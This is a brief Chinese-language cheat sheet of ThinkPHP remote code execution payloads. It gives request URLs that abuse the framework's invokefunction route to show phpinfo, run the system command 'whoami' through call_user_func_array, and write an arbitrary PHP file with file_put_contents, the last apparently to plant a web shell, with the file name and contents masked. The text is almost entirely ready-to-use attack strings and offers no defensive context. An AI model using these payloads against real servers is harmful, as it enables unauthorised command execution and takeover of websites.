1.查看网站版本信息
/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2.写入文件
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=***.php&vars[1][]=***